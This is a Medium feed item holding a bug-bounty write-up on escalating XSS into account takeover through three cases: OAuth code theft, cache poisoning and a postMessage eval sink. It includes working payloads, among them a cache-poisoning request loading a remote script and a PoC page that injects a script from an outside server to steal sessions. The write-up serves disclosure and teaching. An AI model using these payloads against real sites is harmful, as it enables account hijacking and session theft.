<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ryuku_dz on Medium]]></title>
        <description><![CDATA[Stories by ryuku_dz on Medium]]></description>
        <link>https://medium.com/@ryuku_dz?source=rss-6397b194e6ae------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*pqQ9_4iuaAXsZr2rLHy-1g.jpeg</url>
            <title>Stories by ryuku_dz on Medium</title>
            <link>https://medium.com/@ryuku_dz?source=rss-6397b194e6ae------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 03:43:44 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ryuku_dz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Weaponizing XSS for Maximum Impact]]></title>
            <link>https://medium.com/@ryuku_dz/weaponizing-xss-for-maximum-impact-0aa84b17ad60?source=rss-6397b194e6ae------2</link>
            <guid isPermaLink="false">https://medium.com/p/0aa84b17ad60</guid>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xs]]></category>
            <dc:creator><![CDATA[ryuku_dz]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 14:25:17 GMT</pubDate>
            <atom:updated>2025-10-05T22:16:40.693Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*6qSHZ8SFqCG7mhOG_f9-VA.jpeg" /><figcaption><strong>— ﷽ —</strong></figcaption></figure><p>Peace be upon you! I go by <a href="https://bugcrowd.com/ryuku">Ryuku</a> and I’m a <em>part-time</em> bounty hunter.</p><p>In this post, I’ll walk you through <strong>some </strong>of the recent account takeovers I’ve reported. I’ll show you where to look once you’ve found an XSS and how to <strong>maximize </strong>its impact to escalate the severity and hopefully earn higher <strong>bounties</strong>.</p><h3>Defining Maximum Impact</h3><p><strong>impact</strong> refers to the potential consequences or damage that a vulnerability can cause if exploited.<br>For client-side findings, the highest possible impact is <strong>account takeover</strong>. The methods to achieve this vary depending on the target’s architecture.</p><p>So before you hit that “Submit Report” button, always <strong>ask </strong>yourself: <em>Can I take this further? Can I turn this into full account compromise?</em></p><h3>Case Study 1: Stealing Oauth tokens via XSS leads to Account Takeover</h3><p>The target here is a popular cryptocurrency exchange, A friend of mine was <a href="https://owasp.org/www-community/Fuzzing">fuzzing</a> parameters and discovered a <strong>hidden </strong>one named_method. As the name suggests, it was being used to <strong>override </strong>the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Methods">HTTP method</a>. When sending a non-standard or unsupported HTTP method, the server would reflect it back in the response without any sanitization.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*euQ9B6BPWpEGtypftLwNVQ.png" /><figcaption>target response</figcaption></figure><p>The target was behind Akamai, but bypassing their <a href="https://www.akamai.com/glossary/what-is-a-waf">WAF</a> was relatively easy. However, I then ran into another obstacle: all input was being automatically converted to uppercase. This was problematic because JavaScript functions are case-sensitive. for example, IMPORT() won’t work since it must be import().</p><p>I overcame this limitation by using <a href="https://mothereff.in/html-entities">HTML entities</a> to <strong>bypass </strong>the case enforcement.</p><pre>hello, world! -&gt; &amp;#x68;&amp;#x65;&amp;#x6C;&amp;#x6C;&amp;#x6F;&amp;comma;&amp;#x20;&amp;#x77;&amp;#x6F;&amp;#x72;&amp;#x6C;&amp;#x64;&amp;excl;</pre><p>Now that I confirmed I can execute code, I started looking for a gadget that could help us demonstrate the impact.</p><p>I kept digging until I found that the target’s OAuth flow supports the <a href="https://www.ietf.org/archive/id/draft-meyerzuselha-oauth-web-message-response-mode-00.html">web_message</a> response mode. It will send the OAuth code to the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/opener">opener</a>, as long as the opener’s root domain matches the target domain.</p><p>The attack flow was as follows:</p><ol><li>Attacker <strong>sends</strong> the victim a link to the vulnerable endpoint.</li><li>The victim <strong>clicks</strong> the link, which triggers a login prompt on login.target.com (the legitimate login page).</li><li>The victim <strong>logs in</strong>.</li><li>The OAuth authorization code is <strong>sent</strong> toxss.target.com, where the attacker has injected JavaScript code that includes a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/message_event">message </a>listener to <strong>capture</strong> the OAuth authorization code.</li><li>The attacker uses the stolen authorization code to obtain the OAuth access token.</li><li>The attacker gains the victim’s session, <strong>fully compromising</strong> the victim’s account.</li></ol><p>Below, this <strong>rough</strong> drawing partially explains the process…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*nEiWzG4DQCOKzqH6yDE74Q.png" /><figcaption>Attack Flow</figcaption></figure><p>Below a screenshot from the report to help clarify your understanding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XQbi9oCt1DtR1mj6oGz91g.png" /></figure><p>The program assigned a severity level of <strong>high</strong> (8.2) and paid $5,000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7G8XE80bZGQF2jW6DWY8rA.png" /></figure><h3>Case Study 2: Chaining XSS and Cache Poisoning for Zero-Click Account Takeover</h3><p><a href="https://portswigger.net/web-security/web-cache-poisoning"><strong>Web cache poisoning</strong></a> is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users.</p><p>In this case, we <strong>poison</strong> the response with malicious JavaScript, allowing us to exploit users without any interaction on their part.</p><p>This time, the target is a popular athletic apparel company. There is a functionality that provides users with the ability to compare products, and it takes url parameter and inserts it into the href attribute of an anchor element without any validation, allowing the use of the javascript: <a href="https://developer.mozilla.org/en-US/docs/Web/URI/Reference/Schemes/javascript">scheme</a>.</p><p>Additionally, the label parameter directly sets the textContent of the anchor tag, making it easier to persuade users to click.</p><p>So, we send an HTTP request:</p><pre>GET /products?url=javascript:import(%22https://cdn.jsdelivr.net/gh/itsryuku/jsdlvr/poc.js%22)&amp;label=BUGCROWD%20POC!%20CLICK%20FOR%2050%25%20OFF%20EVERYTHING!! HTTP/1.1<br>Host: redacted.com<br></pre><p>We find our payload in the response, and then the cache does the rest for us making it available to anyone browsing /products, with the payload embedded there.</p><p>The parameters were not included in the <a href="https://developers.cloudflare.com/cache/how-to/cache-keys/">cache key</a>, so the cache would return my <strong>poisoned</strong> response even if the values did not match.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qBxfERMpAtUk_GlCC2bI-Q.png" /><figcaption><strong>P.S.</strong> The hyperlink wasn’t the only element that got poisoned.</figcaption></figure><p>I was lucky enough to find out that the session cookie was not <a href="https://owasp.org/www-community/HttpOnly">HttpOnly</a>; hence, it was accessible to JavaScript.</p><p>Here’s an explanation of how I stole the session:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A_9hj-WuItX_gqi8wRJSHA.png" /><figcaption>Explaining to the program how I performed the session hijacking.</figcaption></figure><p>I believe this should be classified as <strong>critical</strong>, but it was marked as <strong>High </strong>and <strong>paid</strong> $2,000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*nDcmi9cZCEUak7MnfAQ7GQ.png" /></figure><h3>Case Study 3: XSS via postMessage leads to Account Takeover</h3><p>The <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage">postMessage </a>API enables safe <strong>cross-origin</strong> communication between browsing contexts such as iframes, popups, or tabs. It’s commonly used to <strong>exchange data</strong> between a page and a popup it spawned, or between a page and an embedded iframe.</p><p>Improper use of postMessage can result in <strong>vulnerabilities </strong>such as XSS and information disclosure. We will walk through a case that led to an account takeover using XSS</p><p>When visiting the target’s homepage, <a href="https://github.com/fransr/postMessage-tracker">postMessage-tracker</a> notified me that there was a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/message_event">message </a>listener on the page. I opened the developer tools to inspect it and found that the code was <a href="https://www.techtarget.com/searchsecurity/definition/obfuscation"><strong>obfuscated</strong></a>.</p><pre>window[_0x15ee85(447)](<br>    &quot;message&quot;,<br>    function (_0x678474) {<br>        var _0x35134a = _0x15ee85;<br>        try {<br>            if (void 0 === _0x678474[_0x35134a(444)]) return;<br>            if (null === _0x678474[_0x35134a(444)]) return;<br>            if (void 0 === _0x678474[_0x35134a(444)][_0x35134a(231)]) return;<br>            if (void 0 === _0x678474[_0x35134a(444)][_0x35134a(649)]) return;<br>            if (_0x678474[_0x35134a(444)][_0x35134a(231)] !== _0x35134a(251))<br>                return;<br>            eval(_0x678474[_0x35134a(444)][_0x35134a(649)]);<br>        } catch (a) {}<br>    },<br>    !1<br>);</pre><p>Although there are many ways and tools to deobfuscate code, since it was relatively short, I decided to perform <strong>dynamic</strong> deobfuscation. Within a few minutes, I understood that the listener <strong>expects</strong> two important properties: eval and target. The code does not check the sender’s <strong>origin </strong>and directly passes the received eval property to the notorious eval() function, leading to JavaScript execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*vtiPYDqauUXASOAC8M1efg.png" /><figcaption><em>debugging in devtools</em></figcaption></figure><p>The target had an <a href="https://blog.postman.com/what-is-an-api-endpoint/">endpoint</a> /account/oauth/token that returned the access token within the <strong>response body</strong>. So, I used the XSS to <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch">fetch</a> that endpoint with credentials, resulting in an easy session hijacking.</p><p>PoC:</p><pre>&lt;body&gt;<br>    &lt;button id=&quot;target&quot;&gt;PoC&lt;/button&gt;<br>    &lt;script&gt;<br>        document<br>            .querySelector(&quot;#target&quot;)<br>            .addEventListener(&quot;click&quot;, function () {<br>                // Open the vulnerable page<br>                const win = window.open(&quot;https://redacted.com/&quot;);<br>                <br>                // Define the malicious message that will trigger the XSS<br>                // This code injects an external script that handles session theft<br>                const payload = {<br>                    eval: &quot;s=document.createElement(&#39;script&#39;);s.src=&#39;https://myserver.com/poc.js&#39;;document.body.appendChild(s)&quot;,<br>                    target: &quot;framework&quot;,<br>                };<br>                // Send the message once loaded<br>                setTimeout(() =&gt; win.postMessage(payload, &quot;*&quot;), 4000);<br>            });<br>    &lt;/script&gt;<br>&lt;/body&gt;</pre><p>The program <strong>paid </strong>$1,194.04 and sent an encouraging message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7WU7vJzqQE_ppADRNEPVqQ.png" /><figcaption>👀</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*FnzTSeA2W4K5wD-M3VQYCQ.png" /></figure><p>postMessage vulnerabilities are some of my favorites. I’ll be publishing a post soon where I talk about <strong>how</strong> to find and <strong>exploit</strong> them, along with a walk-through of my best postMessage <strong>submissions</strong>!</p><h3>Bonus: It’s raining 🌧️XSS</h3><p>While writing this blog, I <strong>found </strong>another XSS that led to an account takeover. It was quite exciting because I had to <strong>bypass </strong>some decent checks!</p><p>I’ll leave you with the raw report, with the target’s information redacted as usual to respect their privacy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7kh68P06zCIm36Nxtt3Yw.png" /><figcaption>Part 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1NAKcLa3y5w5vQLg40MwDg.png" /><figcaption>Part 2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vD-TppT3Ir-z_69I2z9SXQ.png" /><figcaption>PoC</figcaption></figure><p><em>P.S. The report has been triaged. I’ll update it once a bounty has been awarded.</em></p><p><strong>Final Takeaway:</strong><br>XSS remains the most common and widely reported vulnerability on <a href="https://www.hackerone.com/lp/top-ten-vulnerabilities">HackerOne</a>, making it a staple in every bug hunter’s toolkit. But since everyone knows how to find the obvious XSS flaws, standing out requires digging deeper — master the edge cases, understand exploitation nuances, and think <strong>beyond</strong> the basics. Always aim higher by targeting account takeover (ATO) scenarios to deliver truly impactful and unique findings. That’s how you level up from just another XSS report to a game-changing vulnerability.</p><p>To <strong>learn </strong>more about XSS, check out the <strong>resources</strong> below. Until next time!</p><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting">PortSwigger labs</a></li><li><a href="https://aszx87410.github.io/beyond-xss/en/">Beyond XSS</a></li><li><a href="https://www.amazon.co.uk/JavaScript-hackers-Learn-think-hacker/dp/B0BRD9B3GS">JavaScript for hackers</a></li><li><a href="https://www.amazon.co.uk/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049">Web Application Obfuscation: -/WAFs..Evasion..Filters//alert(/Obfuscation/)-’</a></li></ul><p>— ryuku</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0aa84b17ad60" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>